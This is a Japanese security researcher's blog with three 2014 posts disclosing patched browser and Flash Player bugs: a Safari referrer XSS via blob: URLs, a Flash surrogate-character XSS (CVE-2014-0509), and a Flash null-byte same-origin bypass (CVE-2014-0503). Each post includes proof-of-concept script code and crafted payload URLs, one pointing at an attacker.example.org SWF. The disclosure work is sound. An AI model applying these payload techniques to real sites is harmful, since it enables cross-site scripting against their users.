2014/06/30

Referrer文字列によるXSS part2

以前、Referrer文字列を使ったXSSはIEだけでなくChromeやSafariでもできるということを以下の記事で紹介しました。

 http://masatokinugawa.l0.cm/2013/10/referrer-xss.html

が、その後のブラウザのアップデートで、紹介したdata: URLからReferrerをつける手法は使えなくなってしまいました。現在は、data: URLに<meta name="referrer" content="always">指定があっても、Referrerを送信しないように変わったようです。

ということで今回は、今も使える別のReferrerによるXSS手法を紹介したいと思います。
Safari( 最新の7.0.4で確認 )のみ動作します。以前はChromeでも動いていたのですが、33あたりから使えなくなりました。

以下からSafariでどうぞ:
http://l0.cm/xss_blob_and_referrer/

以下のようなコードで実現しています。
<meta name="referrer" content="always">
<script>
history.replaceState('','','blob:http://l0.cm/<script>alert(1)<\/script>');
location.href="http://vulnerabledoma.in/location/"
</script>
Safariでは、<meta name="referrer" content="always">が書かれたページで、history.replaceState() を使ってblob: を先頭につけたURLへ自身のURLを変更したあとにリダイレクトすると、blob: URLをReferrerに含めることができるようです。blob: URLでは、パス以降にエンコードせずに <> などの文字列を保持できるようなので、history.replaceState()する際にパス部分などにスクリプトを書いたものを含めておけば、Referrerを経由したXSSが可能です。

http:// から blob:http://[同一ドメイン]/ なURLにhistory.replaceState()できるのがちょっと驚きですよね。Chrome/Safariはできるみたいです。また、Chromeは filesystem:http://[同一ドメイン]/path みたいなURLにもhistory.replaceState() できるようです→ TEST

URLを変更できるのは同一ドメインから生成されたように見えるblob:やfilesystem:のみなので、今すぐ危険なかんじはしませんが、想定した動作なんですかね。

以上、XSS小ネタでした。

追記
Safari(7.0.4)でdata: URLからReferrer使ったXSSがまだ動作するというご報告を受け、確認したところまだ動作しますね。勘違いしていました。
まあ、blob: でもできるよということで。

2014/9/22 追記
Safari(7.1)で確認したところ、動かなくなりました。

2014/05/30

CVE-2014-0509: 上位サロゲートを使ったFlashのXSS

Flashの文字列処理の方法が適切でないために、 適切にXSS対策が施されたFlashファイル上でもXSSを引き起こせる場合があった問題について書きます。
この問題は以下に掲載されているように、 2014年4月のFlash Playerのアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-09.html
These updates resolve a cross-site-scripting vulnerability (CVE-2014-0509).

本問題は、 このブログでも何度か取り上げた ExternalInterface.call() の問題に関係するものです。取り上げたのはこの辺の記事です:
ExternalInterface.call()の問題を知らない人は、先にこれらの記事をみておくと理解しやすいかもしれません。

問題の詳細

次のようなコードが、この問題の影響を受けます。

http://vulnerabledoma.in/surrogate_xss.as
...
var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\"); ExternalInterface.call("console.log",q);
...
前半でqパラメータ中に含まれる「\」を split("\\").join("\\\\") で置換して変数に代入後、その変数をExternalInterface.call()の第2引数に渡しています。
この方法はExternalInterface.call() のバグの回避法として全く間違っていません。

ところが、次のような文字列を与えると、XSSが起きていました。

http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\"))}catch(e){alert(1)}//
 
注目すべきは先頭で与えた%ED%A0%80 です。%ED%A0%80 は上位サロゲート( サロゲートペアの前半バイト )にあたるコードポイント、 U+D800 を直接UTF-8エンコードした場合にできるバイト値です。Flashは、この上位サロゲートの扱いが適切でなく、任意の次の文字を潰してしまう( 正確には、後続の文字とくっついてU+FFFDを作ってしまう )挙動がありました。これが今回のバグです。

先ほどのSWFで、XSSが起こる流れは次のようなかんじです。

http://vulnerabledoma.in/surrogate_xss.swf?q=%ED%A0%80\"))}catch(e){alert(1)}//
// \が\\に置換されて U+D800\\"))}catch(e){alert(1)}// がqに代入される
// この場面では置換前から U+FFFD になっているとは考えないらしい
var q:String=loaderInfo.parameters["q"].split("\\").join("\\\\");

// console.logを引数qで呼び出す
ExternalInterface.call("console.log",q);

// FlashがJavaScript呼び出し時に生成するもの
// このとき、「"」はFlash側で「\"」にエスケープされる
// \自体はエスケープしてくれないので直前で\\にした訳だけど…あれ?
try{__flash__toXML(console.log("�\\"))}catch(e){alert(1)}//"));}catch (e){"<undefined/>"}

split("\\").join("\\\\") を使って置換するとき、置換前の段階では \はまだ喰われていないのか、ちゃんと\が置換されているところがキモです。 このせいで、のちのち喰われる場面にきたとき、不整合が起きます。

面白いことに、他の置換できる関数、例えばreplace(/\\/g,"\\\\") を使って置換する場合は、 置換前から後続の文字とくっついてU+FFFDだと評価されているのか、\\への置換は起きませんでした。
また、ExternalInterface.call()に 「U+D800"」を与えた場合でも、( 「"」の文字はJavaScript実行時にFlash側で「\"」とエスケープされますが、このエスケープよりも先に ) 「U+D800"」から「U+FFFD」が作られるようなので、 問題は起きません。

いろいろ試してみたものの、結局 split().join() と ExternalInterface.call() の組み合わせしかXSSに繋がるケースは思いつきませんでした。マイナーすぎて、修正してくれるか微妙だなーと思いながらそのケースだけAdobeに報告しましたが、割と短い期間で修正してくれました。ナイスです。
修正後は上位サロゲートにあたるバイト値が後続の文字を一切潰さなくなりました。


実はこのバグ、GitHubがバグ報酬制度を始めたときにみつけたものです。
GitHubで使われていた、ZeroClipboardというSWFが、まさにパラメータ文字列をsplit("\\").join("\\\\")で置換してExternalInterface.call()の第2引数に渡す処理をしていました。

このバグの報酬として、GitHubの報酬制度を通じて$1,800を頂きました。
GitHub Bug Bounty · Masato Kinugawa

GitHubはContent Security Policyを導入していますが、FlashがCSPに対応していないので、CSPもすり抜けるとして、ちょっと普通のXSSより評価ポイントが高くなっています。ちなみに、ZeroClipboardの古いバージョンには今回のバグとは関係ないExternalInterface.call()絡みのXSSがある( http://seclists.org/fulldisclosure/2013/Feb/103 )ので、使っている人は1度バージョンを確認した方がいいかもしれません。

加えて、HackerOneのFlashの報酬制度を通して、$2,000を頂きました。
 #7803 Security bypass could lead to information disclosure - HackerOne

Flashの報酬制度で報酬を頂くのは、これで3度目になります。毎度ありがたいです。


今回、split().join()とExternalInterface.call()が組み合わさった時に問題が起きることに気が付いたのは、ZeroClipboardのSWFに問題が起きそうな文字を適当に入れていたらたまたま、というかんじでした。つくづく、何も考えずにひとまず適当に試してみるのもバグの発見には重要な行為だと感じます。

2014/04/30

CVE-2014-0503: 0x00文字を使ったFlashのセキュリティ制限のバイパス

Flash Playerに存在した、 セキュリティ制限をバイパスすることができた問題について書きます。この問題は2013年11月10日にAdobeに報告し、2014年3月のアップデートで修正されました。

http://helpx.adobe.com/security/products/flash-player/apsb14-08.html
These updates resolve a vulnerability that could be used to bypass the same origin policy (CVE-2014-0503).
早速どのような問題だったか書いていきます。
(なお、本問題はFirefoxにインストールしたFlash Playerでしか再現しませんでした。)


loader.load() という関数があります。この関数は、画像やSWFなどをSWF上にロードするために用いられます。
第1引数で、ロードする画像やSWFのURL、 第2引数で、どういったコンテキストで動作させるかを設定することができます。第2引数の設定次第では、第1引数に指定した別ドメインのSWFを読み込んで、そのSWFに記述されているJavaScriptの呼び出しを読み込み側のコンテキストで動作させることもできます。第2引数を省略した場合は、JavaScriptを実行できるのは同一ドメインのSWFの場合のみです。

これを踏まえて、以下のようなコードがあった場合を考えます。
var url:URLRequest = new URLRequest(loaderInfo.parameters["url"]);
var loader:Loader = new Loader();
loader.load(url);
addChild(loader);
loader.load()にパラメータの値がそのまま渡されているようなコードです。
セキュリティを考えたことがある人なら、未検証で値を渡していることに直感的に不安をかんじると思いますが、この関数においては、通常は、SWFがあるドメイン上で画像ファイルなどを勝手にロードできるだけで、大きな問題にはならないはずです。(もちろん、 javascript: な URLを指定してもFlash側でそのような動作は禁止されており、JavaScriptは実行されません。)
しかしながら、以下のようなURLを与えると、通常の制限を超えて、別ドメインのSWFからJavaScriptを動作させること(すなわち、XSSすること)ができていました。

http://victim.example.com/viewer.swf?url=http://victim.example.com%2500@attacker.example.org/xss.swf

(※ 被害者のサイトを victim.example.com、攻撃者のサイトを attacker.example.org  とします)

このURLで loaderInfo.parameters["url"]が実際に受け取る値は、http://victim.example.com%00@attacker.example.org/xss.swf です。ですから、ロードしようとしているのは、攻撃者のサイトに設置されたSWFファイルということになります。

前述のとおり、通常、第2引数を指定しない場合は、同一ドメインのSWFファイルをロードしたときしかJavaScriptの実行は起こらないはずでした。ところが、攻撃者のサイトのURLの認証情報を記述する部分に 「被害者のサイトのホスト」 + 「%00」 を指定することで、ロードしようとしているURLを被害者のサイトのドメインのコンテンツと誤って判断してしまうのか、xss.swfのJavaScriptの呼び出しをvictim.example.comで実行してしまいます。

要するに、この動作によって起きることは、loader.load()の第1引数に任意の値を渡せるSWFファイルがターゲットのサイトにあれば、XSSが可能になってしまうということです。この関数でも、CVE-2014-0491: AS2の関数に存在したjar:を通じたXSS で問題になった関数と同じように、画像などが勝手に自ドメインでロードされてもさほど問題にはならないので、パラメータから受け取った値をそのままロードするURLとして使っていることがよくあります。この問題のせいでXSSに脆弱になるサイトはたくさんあったのではないでしょうか。

以上のような問題でした。
また、同じように0x00文字を用いる方法で、allowScriptAccess=sameDomain 制限をバイパスできたり、BitmapData.draw()を使って別ドメインの画像ファイルの情報を読み取れたり、Flashの関数中で相対パス指定されているとき、細工したドメインを相対パスの元として読ますことができたりと、様々なおかしなことを起こせていました。

本問題も、HackerOneThe Internet Bug Bountyを通じて $2,000 の賞金を頂きました。MicrosoftとFacebookがスポンサーになっているらしいので、両社に感謝です。ありがとうございます。

#6380 Same Origin Security Bypass Vulnerability - HackerOne

次回の記事でも修正されたFlashの脆弱性を紹介するつもりです。